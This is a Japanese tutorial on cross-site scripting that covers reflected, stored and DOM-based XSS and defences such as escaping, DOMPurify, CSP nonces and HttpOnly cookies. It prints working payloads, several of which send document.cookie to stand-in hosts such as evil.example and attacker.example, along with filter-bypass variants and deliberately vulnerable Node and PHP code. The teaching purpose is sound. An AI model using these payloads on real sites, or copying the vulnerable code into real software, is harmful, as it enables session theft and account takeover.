XSS攻撃と防御の完全ガイド|反射型・蓄積型・DOM型の対策
XSS(クロスサイトスクリプティング)とは
XSS(Cross-Site Scripting)は、攻撃者が用意したJavaScriptを被害者のブラウザ上で実行させる攻撃です。名称に「サイトをまたぐ」とありますが、本質は「同一オリジン内で信頼された文脈に悪意あるスクリプトを混入させる」ことにあります。
被害の典型例は次のとおりです。
- セッションCookieの窃取 —
document.cookieを外部サーバーへ送信 - フィッシングUIの表示 — 本物そっくりのログインフォームをDOMに挿入
- キー入力の盗聴 —
addEventListener('keyup', ...)でパスワードを収集 - 勝手なAPIリクエスト — ログイン済みセッションで送金・設定変更を実行(CSRFと組み合わさる)
XSSとCSRFの違いを押さえておきましょう。CSRFは「ブラウザがCookieを自動付与する」ことを悪用し、攻撃者はCookieの中身を読めません。XSSは同一オリジン内でJavaScriptが動くため、Cookie(HttpOnlyでない場合)、DOM、localStorage、APIレスポンスすべてにアクセスできます。XSSが成立している環境では、CSRFトークンも窃取され得る——だからXSS対策はCSRF対策より上位の前提として扱うべきです。
開発チームでよくある誤解は「うちはAPIだけだからXSSは関係ない」というものです。SPAでもサーバーが返す index.html にインラインスクリプトがあれば反射型の余地がありますし、JSONを innerHTML で描画していれば蓄積型が成立します。フロントエンドのDOM操作こそXSSの主戦場であり、バックエンドだけを堅牢にしても不十分です。
OWASP Top 10におけるXSSの位置づけ
OWASP Top 10 はWebアプリケーションの重大リスクを優先順位付けしたリストで、セキュリティ設計・ペンテスト・バグバウンティの共通言語になっています。
| OWASP Top 10(2021) | XSSとの関係 |
|---|---|
| A03:2021 – Injection | SQLインジェクションと並び、インジェクション系の代表格。HTML/JS文脈への不正なデータ混入 |
| A07:2021 – Identification and Authentication Failures | セッションCookie窃取により認証が突破される |
| A05:2021 – Security Misconfiguration | CSP未設定、X-Content-Type-Options欠如、デバッグモードでのエラー詳細露出 |
| A08:2021 – Software and Data Integrity Failures | サードパーティCDNの改ざんスクリプト(サプライチェーンXSS) |
2021版では「XSS」という単独カテゴリはなく、A03 Injectionに包含されています。ただし実務・バグバウンティの現場では依然として「Reflected XSS」「Stored XSS」「DOM XSS」という分類で報告・修正が進みます。ペンレポートやCVE説明でもこの3分類は標準的です。
CVSS(Common Vulnerability Scoring System)でXSSを評価する際、Stored XSSは Scope: Changed となりスコアが跳ね上がることがあります。認証済み管理者のみが閲覧する画面であっても、1アカウント奪取で全データに届くため、影響範囲の見積もりは控えめにしないことが重要です。社内ツールやステージング環境の「テスト用コメント欄」が本番と同じサニタイズ設定でないケースも、監査で指摘されるパターンです。
OWASP ASVS(Application Security Verification Standard)のV5「Validation, Sanitization and Encoding」は、XSS対策の実装基準として参照価値が高いです。特に出力エンコーディングをコンテキストごとに分ける要求は、本記事の後半で扱うエスケープ戦略と直結します。
3種類のXSS:反射型・蓄積型・DOM型
XSSは攻撃の入口によって3つに分類されます。防御の考え方は共通ですが、検知箇所と再現手順が異なるため、種類ごとに理解しておく必要があります。
| 種類 | 仕組み・検知・深刻度 |
|---|---|
| 反射型(Reflected) | 悪意あるURL(検索クエリ・エラーメッセージ等)を踏むと、サーバーがその入力をレスポンスに埋め込み即実行。フィッシングメールでリンクを踏ませるパターンが多い。WAFログやアクセスログで検知しやすい |
| 蓄積型(Stored) | コメント・プロフィール・管理メモ等DBに保存された入力が、他ユーザー閲覧時に表示され実行。1回の注入で多数の被害者に波及。SNS・掲示板・Markdownレンダラが温床。深刻度は最も高いことが多い |
| DOM型(DOM-based) | サーバーは無害なHTMLを返すが、フロントのlocation.hash・innerHTML・document.write等でURLフラグメントをDOMに流し込み実行。サーバー側ログだけ見ても検知しにくい。SPAのクライアントルーティングで見落とされやすい |
反射型(Reflected)XSS:攻撃ペイロードと成立条件
反射型XSSは、サーバーがリクエストパラメータをレスポンスHTMLにそのまま反映するときに成立します。被害者が悪意あるURLを1回開くだけでスクリプトが走るため、フィッシングやSNSの短縮URL経由で拡散されます。
典型シナリオ:検索結果ページ
攻撃者が送るURLの例です。
https://shop.example/search?q=<script>fetch('https://evil.example/log?c='+document.cookie)</script>
URLエンコード版(実際の攻撃で使われる形式)です。
https://shop.example/search?q=%3Cscript%3Efetch(%27https%3A%2F%2Fevil.example%2Flog%3Fc%3D%27%2Bdocument.cookie)%3C%2Fscript%3E
サーバーが q をエスケープせず次のように出力すると、リンクを開いた人のブラウザでスクリプトが実行されます。
<!-- 脆弱なサーバー出力 -->
<p>「<script>fetch('https://evil.example/log?c='+document.cookie)</script>」の検索結果</p>
フィルタ回避のペイロード例
単純な <script> タグ除去だけでは防げません。攻撃者は次のようなバリエーションを試します。
<!-- img + onerror -->
<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
<!-- svg + onload -->
<svg/onload=alert(1)>
<!-- 大文字小文字・空白の混在 -->
<ScRiPt>alert(document.domain)</sCrIpT>
<!-- イベントハンドラ(属性コンテキスト) -->
<input onfocus=alert(1) autofocus>
<!-- javascript: スキーム(href属性コンテキスト) -->
<a href="javascript:alert(document.cookie)">click</a>
反射型は攻撃者自身がURLを開けば自己完結しますが、実際の被害は第三者にリンクを踏ませることで発生します。社内チャットやサポートチケットのプレビュー機能が反射型XSSを内蔵していると、管理者アカウントが一撃で奪われる——バグバウンティで高額報酬が付く典型パターンです。
蓄積型(Stored)XSS:永続化と波及
蓄積型XSSは、悪意ある入力がデータベース・キャッシュ・ファイルに保存され、他ユーザーがそのページを閲覧したときに実行されます。1回の投稿で全管理者・全ユーザーを狙えるため、深刻度は反射型を上回ることが多いです。
典型シナリオ:掲示板コメント
攻撃者が投稿するペイロードです。
<!-- 見た目は壊れた画像だが、onerrorでCookie送信 -->
<img src=x onerror="new Image().src='https://evil.example/steal?c='+encodeURIComponent(document.cookie)">
管理者が管理画面の「最新コメント一覧」でこの投稿をプレビューした瞬間、管理者のセッションが外部へ漏洩します。HttpOnlyが設定されていなければ、攻撃者はそのCookieで管理画面にログインできます。
Markdown・リッチテキスト経由の蓄積型
MarkdownをHTMLに変換して表示する機能は、設定ミスでXSSの温床になります。
<!-- 攻撃者のMarkdown入力 -->
[正常なリンク](javascript:alert(document.cookie))
<!-- または生HTMLが許可されている場合 -->
<iframe src="javascript:alert(1)"></iframe>
Markdownパーサの sanitize: false や、許可タグリストに script・onerror 属性が含まれていると、蓄積型XSSが成立します。保存時ではなく出力時にサニタイズするのが現代の定石です(二重エスケープを防ぐため)。
WYSIWYGエディタ(TinyMCE、Quill、CKEditor)から送られるHTMLは、エディタ側の設定だけでは不十分なことがあります。サーバーが最終的な門番となり、許可タグ以外はすべて除去する設計にしてください。画像の src に data:text/html を許可すると、データURI経由のXSSになるため、画像は自社CDNのHTTPS URLに正規化する処理を挟むのが安全です。
蓄積型の検知ポイント
- ユーザー生成コンテンツ(UGC)を表示するすべての画面
- 管理画面のプレビュー・ログビューア・通知メールのHTML本文
- JSON APIのレスポンスを
innerHTMLで描画している箇所 - WebSocket経由で受信したメッセージのDOM挿入
DOM型(DOM-based)XSS:サーバーログに残らない攻撃
DOM型XSSは、サーバーは正常なHTMLを返すにもかかわらず、クライアント側のJavaScriptがURLフラグメントや location.search を不安全にDOMへ流し込むことで成立します。サーバーアクセスログには攻撃ペイロードが残らないため、WAFやSIEMだけでは検知が難しい場合があります。
脆弱なクライアントコード
// 危険: hash をそのまま innerHTML に流す
const preview = document.getElementById('preview');
preview.innerHTML = decodeURIComponent(location.hash.slice(1));
攻撃URLです。
https://app.example/dashboard#<img src=x onerror=alert(document.cookie)>
サーバーは /dashboard に対して無害なHTMLを返しますが、ページ読み込み後にフロントのスクリプトが hash を innerHTML に代入し、XSSが発火します。
document.write 経由のDOM型
// 危険: クエリパラメータを document.write に渡す
const params = new URLSearchParams(location.search);
document.write('<h1>Hello, ' + params.get('name') + '</h1>');
https://app.example/welcome?name=<script>alert(1)</script>
DOM型の安全な修正
// 安全: textContent でプレーンテキストとして表示
const preview = document.getElementById('preview');
preview.textContent = decodeURIComponent(location.hash.slice(1));
// または DOMPurify でサニタイズしてから innerHTML
import DOMPurify from 'dompurify';
preview.innerHTML = DOMPurify.sanitize(decodeURIComponent(location.hash.slice(1)));
SPA(React/Vue/Svelte)では、ルータのクエリパラメータをそのまま v-html や dangerouslySetInnerHTML に渡すパターンがDOM型XSSの温床です。ハイドレーション後の useEffect 内でのDOM操作も重点的にレビューしてください。
jQuery時代の遺産として $.html() や element.html(userInput) が残っているコードベースも少なくありません。レガシー資産のリプレイス途中では、ラッパー関数で text() に統一するか、DOMPurifyを挟むリファクタリングチケットを優先度 High で切るのが現実的です。PostMessage経由で受け取った文字列を innerHTML に流し込むパターンも、クロスオリジン連携の設計ミスとしてDOM型XSSを生みます。
コンテキスト別エスケープ:HTML・JavaScript・URL・CSS属性
XSS対策で最も誤解されやすいのが「HTMLエスケープさえすれば安全」という思い込みです。エスケープは出力先のコンテキストごとに異なるルールが必要です。同じ文字列でも、HTML本文・HTML属性・JavaScript文字列リテラル・URL・CSS属性ではエスケープ方法が変わります。
| 出力コンテキスト | エスケープの要点と例 |
|---|---|
| HTML本文 | <, >, &, ", ' をエンティティ化。例: < → <。Reactの {value} やテンプレートエンジンの自動エスケープが該当。[詳細](/blog/html-エスケープ-サニタイズ-理由/) |
| HTML属性値 | 本文エスケープに加え、属性をクォートで囲む。イベントハンドラ属性(onclick等)は原則禁止。URL属性はスキーム検証が必要 |
| JavaScript文字列 | \, ', ", 改行, </script>, Unicode区切りをエスケープ。HTMLエスケープだけでは " が " になりJS文脈では不十分な場合がある |
| URL(href/src) | javascript:, data:text/html 等の危険スキームを拒否。相対URLのみ許可するか、許可リストで検証 |
| CSS属性(style) | expression(), url(javascript:...) を拒否。ユーザー入力を style に直接連結しない。必要なら厳格なallowlist |
HTML本文へのエスケープ
// Node.js — 手動エスケープ(ライブラリ推奨)
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 使用例
const q = escapeHtml(req.query.q ?? '');
res.send(`<p>検索: ${q}</p>`);
本番では he やフレームワーク組み込みのエスケープを使い、手動実装は最小限に留めてください。
JavaScript文字列リテラルへのエスケープ
HTMLテンプレート内にインラインJSを埋め込む設計はそもそも避けるべきですが、レガシーコードでは次のような連結が残っています。
<!-- 危険: HTMLエスケープだけでは不十分 -->
<script>
var username = "{{ user.name }}"; // name に "; alert(1);// が入ると突破
</script>
// JavaScript文字列用エスケープ
function escapeJsString(str) {
return String(str)
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\u2028/g, '\\u2028')
.replace(/\u2029/g, '\\u2029')
.replace(/</g, '\\x3c');
}
JSON.stringify でJS文字列を生成する方法がより安全です(JSONはJSのサブセットとして扱える場合が多い)。
<script>
var username = {{ JSON.stringify(user.name) }};
</script>
URL属性(href/src)の検証
const ALLOWED_SCHEMES = new Set(['https:', 'http:', 'mailto:']);
function sanitizeUrl(raw) {
if (!raw || typeof raw !== 'string') return '#';
try {
const url = new URL(raw, 'https://example.com');
if (!ALLOWED_SCHEMES.has(url.protocol)) return '#';
if (url.protocol === 'javascript:') return '#';
return url.href;
} catch {
return '#';
}
}
<!-- 危険 -->
<a href="{{ user.website }}">プロフィール</a>
<!-- 安全 -->
<a href="{{ sanitizeUrl(user.website) }}">プロフィール</a>
CSS属性への連結
<!-- 危険: style属性にユーザー入力 -->
<div style="color: {{ user.color }}">...</div>
<!-- user.color に red; background:url(javascript:alert(1)) が入ると突破 -->
<!-- 安全: 許可リストで色名のみ -->
<div style="color: {{ allowedColor(user.color) }}">...</div>
DB保存時にエスケープすると、二重エスケープや表示崩れの原因になります。現代の定石はブラウザへ送る直前(テンプレートレンダリング時)にコンテキスト別エスケープを適用することです。HTMLエスケープとサニタイズの理由で設計判断の背景を詳しく解説しています。
脆弱なNode.jsコードと修正版
Express + EJSテンプレートを題材に、反射型XSSの脆弱コードと修正版を示します。
脆弱な検索エンドポイント
// server.js — 脆弱な実装(反射型XSS)
import express from 'express';
const app = express();
app.get('/search', (req, res) => {
const q = req.query.q || '';
// 危険: ユーザー入力をHTMLに直接連結
res.send(`
<!DOCTYPE html>
<html>
<body>
<h1>検索結果</h1>
<p>キーワード: ${q}</p>
</body>
</html>
`);
});
app.listen(3000);
GET /search?q=<script>alert(1)</script> で即座にXSSが成立します。
修正版:エスケープ + CSPヘッダー
// server.js — 修正版
import express from 'express';
import escapeHtml from 'escape-html';
import crypto from 'node:crypto';
const app = express();
function cspNonceMiddleware(req, res, next) {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
}
function cspHeaderMiddleware(req, res, next) {
const nonce = res.locals.cspNonce;
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'self'",
].join('; ')
);
next();
}
app.use(cspNonceMiddleware);
app.use(cspHeaderMiddleware);
app.get('/search', (req, res) => {
const q = escapeHtml(String(req.query.q ?? ''));
const nonce = res.locals.cspNonce;
res.send(`<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>検索</title>
</head>
<body>
<h1>検索結果</h1>
<p>キーワード: ${q}</p>
<script nonce="${nonce}">
console.log('search page loaded');
</script>
</body>
</html>`);
});
app.listen(3000);
escape-html によるエスケープで <script> タグはテキストとして表示され、CSP nonceが万が一の注入に対する第二防御線になります。
蓄積型:コメントAPIの修正
// 脆弱: DBから取ったコメントをそのまま返す
app.get('/api/comments', async (req, res) => {
const comments = await db.query('SELECT body FROM comments ORDER BY id DESC LIMIT 50');
res.json(comments); // フロントが innerHTML で描画すると蓄積型XSS
});
// 修正: APIはプレーンテキスト、フロントは textContent または DOMPurify
app.post('/api/comments', async (req, res) => {
const body = String(req.body.body ?? '').slice(0, 2000);
// 保存は生データ(エスケープしない)
await db.query('INSERT INTO comments (body) VALUES (?)', [body]);
res.status(201).json({ ok: true });
});
脆弱なPHPコードと修正版
Laravelを使わない素のPHPでも、同じ原則が適用されます。
脆弱なプロフィール表示
<?php
// profile.php — 脆弱な実装(蓄積型XSS)
$pdo = new PDO($dsn, $user, $pass);
$stmt = $pdo->prepare('SELECT display_name, bio FROM users WHERE id = ?');
$stmt->execute([$_GET['id']]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html>
<body>
<h1><?= $row['display_name'] ?></h1>
<p><?= $row['bio'] ?></p>
</body>
</html>
display_name に <script>alert(1)</script> が入っていれば、閲覧者全員でXSSが発火します。
修正版:htmlspecialchars
<?php
// profile.php — 修正版
function e(?string $value): string {
return htmlspecialchars($value ?? '', ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
$pdo = new PDO($dsn, $user, $pass);
$stmt = $pdo->prepare('SELECT display_name, bio FROM users WHERE id = ?');
$stmt->execute([(int) $_GET['id']]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html>
<head>
<?php
$nonce = base64_encode(random_bytes(16));
header(
"Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{$nonce}'; object-src 'none'; base-uri 'self'"
);
?>
</head>
<body>
<h1><?= e($row['display_name']) ?></h1>
<p><?= e($row['bio']) ?></p>
</body>
</html>
Laravelを使う場合は {{ $name }}(Bladeの自動エスケープ)がデフォルトで有効です。{!! $html !!} はエスケープをバイパスするため、DOMPurify相当のサニタイズ後のみ使用してください。
{{-- 安全(デフォルト) --}}
<p>{{ $user->bio }}</p>
{{-- 危険: 生HTML出力 --}}
<div>{!! $user->bio !!}</div>
{{-- サニタイズ後なら可 --}}
<div>{!! clean($user->bio) !!}</div>
DOMPurifyとallowlist設定
リッチテキストエディタやMarkdown→HTML変換では、限定的にHTMLタグを許可する必要があります。この場合サニタイズが正しいアプローチで、DOMPurify が事実上の標準です。
基本的な使い方
import DOMPurify from 'dompurify';
const dirty = '<p>Hello <script>alert(1)</script></p><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// → '<p>Hello </p><img src="x">'
allowlist(ALLOWED_TAGS / ALLOWED_ATTR)のカスタム
掲示板で「太字・リンク・画像」だけ許可する例です。
import DOMPurify from 'dompurify';
const COMMENT_CONFIG = {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'title', 'rel'],
ALLOW_DATA_ATTR: false,
ADD_ATTR: ['target'],
};
function sanitizeCommentHtml(dirty) {
const clean = DOMPurify.sanitize(dirty, COMMENT_CONFIG);
// リンクに rel="noopener noreferrer" を強制(タブナビング攻撃対策)
const doc = new DOMParser().parseFromString(clean, 'text/html');
doc.querySelectorAll('a[href]').forEach((a) => {
a.setAttribute('rel', 'noopener noreferrer');
a.setAttribute('target', '_blank');
const href = a.getAttribute('href') ?? '';
if (/^\s*javascript:/i.test(href)) {
a.removeAttribute('href');
}
});
return doc.body.innerHTML;
}
サーバーサイド(isomorphic-dompurify)
クライアントだけでサニタイズすると、API経由の蓄積型XSSを防げません。サーバー側でも同じルールでサニタイズしてください。
// Node.js — isomorphic-dompurify
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
export function sanitizeUserHtml(dirty) {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
});
}
<script> タグを正規表現で除去する自前実装は、<scr<script>ipt> やSVG名前空間、Mutation XSSなどで回避されます。DOMPurifyのようにブラウザのパーサを使った実績あるライブラリに任せてください。
Mutation XSS(mXSS)への注意
サニタイザが「一度パースして安全と判断したHTML」をブラウザが再度パースするとき、元の危険な構造が復活することがあります。これを Mutation XSS(mXSS)と呼びます。<noscript><p title="</noscript><img src=x onerror=alert(1)>"> のような入れ子は、古いサニタイザで問題になった例です。DOMPurifyは継続的にmXSSパッチが当てられているため、バージョンを固定せずセキュリティアップデートを追従してください。npm audit だけでなく、Dependabotで dompurify の更新を自動PR化するのが望ましいです。
CSPとnonce:Expressミドルウェアの実装
Content Security Policy(CSP)は、XSSで注入されたスクリプトの実行そのものをブロックする最後の防波堤です。インラインスクリプトを許可しつつ安全性を保つには、リクエストごとにランダムな nonce を生成し、正当な <script nonce="..."> だけを許可します。
詳細なディレクティブ設計は Content Security Policy (CSP) 設定ガイド を参照してください。ここではExpress向けの実装例を示します。
nonce生成ミドルウェア
// middleware/csp.js
import crypto from 'node:crypto';
export function cspNonce(req, res, next) {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
}
export function cspHeader(req, res, next) {
const nonce = res.locals.cspNonce;
const policy = [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self'",
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'self'",
"upgrade-insecure-requests",
].join('; ');
// 段階導入時は Report-Only から開始
if (process.env.CSP_REPORT_ONLY === '1') {
res.setHeader('Content-Security-Policy-Report-Only', policy);
} else {
res.setHeader('Content-Security-Policy', policy);
}
next();
}
アプリケーションへの組み込み
// app.js
import express from 'express';
import { cspNonce, cspHeader } from './middleware/csp.js';
const app = express();
app.use(cspNonce);
app.use(cspHeader);
app.get('/', (req, res) => {
const nonce = res.locals.cspNonce;
res.send(`<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Home</title></head>
<body>
<h1>Welcome</h1>
<script nonce="${nonce}">
// この script だけが nonce により許可される
document.getElementById('app')?.focus();
</script>
</body>
</html>`);
});
strict-dynamic により、nonce付きスクリプトが動的に追加した子スクリプトも連鎖的に許可されます。一方、攻撃者が注入した <script>alert(1)</script> にはnonceがないためブロックされます。
nonceはリクエストごとに一意であり、キャッシュされたHTMLページに固定nonceを埋め込むと意味がありません。CDNやブラウザキャッシュを使う場合は、HTMLを Cache-Control: private, no-store にするか、nonce部分だけSSRで動的生成する構成にしてください。詳細はCSP設定ガイドを参照してください。
Content-Security-Policy-Report-Only で1〜2週間違反レポートを収集する
Console の CSP 違反メッセージから許可漏れドメインと unsafe-inline 依存を洗い出す
リクエストごとに crypto.randomBytes で nonce を生成し res.locals に保存する
script-src に nonce と strict-dynamic を設定し、正当な script タグに nonce 属性を付与する
Report-Only を外し Content-Security-Policy 強制ヘッダーに切り替える
HttpOnly Cookieとセッション保護
XSSが成立した場合、JavaScriptから document.cookie でセッションIDを読み取られると、攻撃者はそのCookieで被害者になりすませます。HttpOnly 属性は、CookieをJavaScriptからアクセス不可にし、窃取経路を断ちます。
Set-Cookieの設定例
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600
Set-Cookie: csrf_token=abc123; Path=/; Secure; SameSite=Strict; Max-Age=3600
Expressでの設定です。
res.cookie('session', sessionId, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 60 * 60 * 1000,
path: '/',
});
PHP(session_set_cookie_params)での設定です。
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax',
]);
session_start();
HttpOnlyがあっても、XSSは次の被害を引き起こします。fetch('/api/transfer', { credentials: 'include' }) による勝手な送金、DOM改ざんによるフィッシング、キーロガー挿入、localStorage内のJWT窃取(HttpOnlyはCookieのみ保護)。XSS対策の本命はエスケープ・サニタイズ・CSPであり、HttpOnlyは深層防御です。
React dangerouslySetInnerHTMLのアンチパターン
Reactは JSX の {value} を自動エスケープしますが、dangerouslySetInnerHTML はその保護を意図的にバイパスします。名前のとおり危険であり、使うなら必ずサニタイズ済みHTMLだけを渡してください。
アンチパターン:ユーザー入力をそのまま渡す
// 危険: 蓄積型XSSの典型
function Comment({ body }) {
return (
<div dangerouslySetInnerHTML={{ __html: body }} />
);
}
攻撃者が body に <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"> を入れると、コメントを閲覧した全ユーザーでXSSが発火します。
修正版:DOMPurify + dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function Comment({ body }) {
const clean = DOMPurify.sanitize(body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'title'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
より安全な代替:プレーンテキスト表示
リッチHTMLが不要なら、dangerouslySetInnerHTML 自体を使わないのが最善です。
function Comment({ body }) {
return <p>{body}</p>; // React が自動エスケープ
}
Markdownコンポーネントの落とし穴
// 危険: rehype-raw 等で生HTMLを許可
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
<ReactMarkdown rehypePlugins={[rehypeRaw]}>{userMarkdown}</ReactMarkdown>
rehype-raw はMarkdown内の生HTMLをそのまま通します。使う場合は rehype-sanitize と組み合わせ、allowlistを厳格に設定してください。
Next.js の Server / Client 境界
Next.js App Router では Server Component から Client Component へ props で渡すデータはシリアライズされますが、Client 側で dangerouslySetInnerHTML に流すと従来どおりXSSです。また searchParams をそのままメタタグの content に埋め込むと、OGPタグ経由の反射型XSS(SNSシェア時に管理者がプレビューで中招する)も報告例があります。メタタグ・JSON-LD・application/ld+json へのユーザー入力反映も、HTML属性と同様にエスケープが必要です。
バグバウンティ風シナリオ:管理画面プレビューでの蓄積型XSS
実際のバグバウンティレポートでよく見るシナリオを、架空の support.example を題材に再現します。
攻撃者がサポートチケットに XSS ペイロードを含むメッセージを送信する
ペイロードは <img src=x onerror="fetch('https://attacker.example/log?cookie='+document.cookie)"> のような Cookie 窃取型
チケットはDBに蓄積され、管理者が管理画面の「チケットプレビュー」で内容を確認する
プレビュー機能が innerHTML または未サニタイズの v-html で描画していると、管理者ブラウザでスクリプトが実行される
HttpOnly が未設定なら管理者セッションが窃取され、攻撃者が管理画面にログインして全ユーザーデータにアクセスする
再現用ペイロード(検証環境のみ)
<!-- ステージング環境での自己診断用(本番で他人に送らないこと) -->
<img src=x onerror="console.log('[XSS PoC]', document.cookie)">
報告書に含めるべき情報
- 影響 — 管理者アカウント奪取、全ユーザーPII漏洩の可能性
- 再現手順 — チケット投稿 → 管理画面プレビュー → Console/外部サーバーへのCookie送信
- 根本原因 — ユーザー入力のHTMLエスケープ/サニタイズ欠如
- 修正案 — DOMPurifyサニタイズ、textContent表示、CSP導入
深刻度は通常 High〜Critical に分類されます。同じ脆弱性が一般ユーザーのプロフィール表示にも存在すれば、被害範囲がさらに広がります。
バグバウンティでは「Self-XSS」(自分のアカウントにだけ効くXSS)を低評価とするポリシーがあるプログラムもありますが、管理者がユーザー投稿をプレビューするワークフローがある場合は Stored XSS として再分類されます。報告時は「誰のブラウザで実行されるか」を明確に書くと、トリアージが速くなります。報酬額の目安はプラットフォームによりますが、認証後の管理機能での Stored XSS は $500〜$5000 相当で評価されることが多いです。
DevToolsでの検出・デバッグ手順
XSSの有無は、手動テストとDevToolsを組み合わせて効率的に確認できます。
反射型の確認
Chrome DevTools を開き(F12)、Network タブで「Preserve log」を有効にする
検索・エラー表示・リダイレクト等、URLパラメータが画面に反映される機能を特定する
パラメータに <script>alert(1)</script> や <img src=x onerror=alert(1)> を入力して送信する
alert が表示されなければ、HTMLソース(Elements タブ)で入力がエスケープされているか確認する
Console に CSP 違反メッセージが出ていれば、CSPがブロックしている(エスケープ漏れは依然として修正すべき)
蓄積型の確認
- コメント・プロフィール・チケット等、永続化される入力欄にペイロードを投稿する
- 別ブラウザ(またはシークレットウィンドウ) で同じページを開き、スクリプトが実行されるか確認する
- Elements タブで、投稿内容が生HTMLとして挿入されていないか検査する
- Application → Cookies で、HttpOnly が設定されているか確認する
DOM型の確認
// Console で hash ベースのDOM操作を探す
// Sources タブで innerHTML, outerHTML, document.write, eval を検索
- URLに
#<img src=x onerror=alert(1)>を付与してページをリロードする - alert が出れば、クライアント側のDOM操作が原因(サーバーレスポンスは無害な可能性が高い)
- Sources タブで
innerHTML・document.write・evalをプロジェクト全体検索する
CSP違反の読み方
Consoleに次のようなメッセージが出た場合、CSPがインラインスクリプトをブロックしています。
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self' 'nonce-...'".
これは「XSSが成立しなかった」ことを示す場合もあれば、「正当なインラインスクリプトにnonceが付いていない」設定ミスの場合もあります。Report-Onlyモードではブロックせずレポートだけ送るため、CSP Report-Only 段階導入と併用して移行するのが安全です。
Network タブでの確認
XSSペイロードが外部ドメインへCookieを送信している場合、Network タブに evil.example へのリクエストが現れます。フィルタにドメイン名を入れ、リクエストの Query String Parameters に cookie= や c= が含まれていないか確認してください。HttpOnly が有効なら Cookie 値そのものは送信されませんが、DOM改ざんやAPIの不正呼び出しは引き続き可能です。
Sources タブでのブレークポイント
innerHTML セッターにブレークポイントを張ると、どのコードパスがユーザー入力をDOMに流し込んでいるかを特定できます。Chrome DevTools → Sources → Event Listener Breakpoints → Control → set innerHTML を有効にし、ペイロード入力後にスタックトレースを辿る手法は、DOM型XSSの原因箇所を短時間で突き止めるのに有効です。
多層防御のまとめ:何が何を防ぐか
| 防御層 | 役割と限界 |
|---|---|
| コンテキスト別エスケープ | XSSの根本原因(文脈混同)に直接対処。出力漏れ1箇所で突破されるため網羅的な適用が必要。[詳細](/blog/html-エスケープ-サニタイズ-理由/) |
| DOMPurify(allowlist) | リッチHTMLが必要な箇所で危険タグ・属性を除去。サーバー・クライアント両方で同じルールを適用すること |
| CSP(nonce + strict-dynamic) | 注入されたスクリプトの実行をブロック。設定ミスやnonce漏洩で無効化されうる。最後の防波堤。[設定ガイド](/blog/csp-content-security-policy-設定ガイド/) |
| HttpOnly Cookie | document.cookie からのセッション窃取を防止。DOM操作・fetchによる被害は防げない |
| フレームワーク自動エスケープ | React/Vue/Bladeのデフォルト出力は安全。dangerouslySetInnerHTML・v-html・{!! !!}でバイパスされる |
| 入力バリデーション | 補助的。出力エスケープの代替にはならない(多様なペイロードを想定できない) |
実装チェックリスト
ユーザー入力・URLパラメータ・外部API・WebSocketメッセージをすべて「信頼しないデータ」として洗い出す
HTML本文はエスケープ、リッチHTMLはDOMPurifyのallowlistでサニタイズ。innerHTML / dangerouslySetInnerHTML をgrepで監査する
出力コンテキスト(HTML・JS・URL・CSS)ごとに適切なエスケープ関数を使い分ける
CSPを Report-Only から導入し、nonce ミドルウェアでインラインスクリプトを制御する
セッションCookieに HttpOnly / Secure / SameSite を設定する
反射型・蓄積型・DOM型それぞれのペイロードでステージング環境に再現テストを行う
管理画面・メールプレビュー・通知テンプレートなど、見落としやすい蓄積型の出力箇所を重点レビューする
E2Eテストへの組み込み
// Playwright — 反射型XSSの回帰テスト例
test('search escapes script tags', async ({ page }) => {
await page.goto('/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E');
const dialog = page.waitForEvent('dialog', { timeout: 2000 }).catch(() => null);
expect(await dialog).toBeNull();
await expect(page.locator('p')).toContainText('<script>alert(1)</script>');
});
alertダイアログが出なければ、エスケープまたはCSPが機能している可能性が高いです。ただし onerror 系ペイロードも併せてテストしてください。
EJSの <%= %> はエスケープあり、<%- %> はエスケープなしです。Bladeの {{ }} はエスケープあり、{!! !!} はなし。1文字の違いでXSSが成立します。コードレビューではエスケープなし構文を重点的にチェックしてください。
関連記事
この記事は セキュリティ テーマの一環です。あわせて読むと理解が深まる関連記事をまとめました。
| トピック | 記事 |
|---|---|
| CSRF対策の実装ガイド | CSRF対策の実装ガイド|SameSite・Synchronizer Token・Laravel/Expressコード |
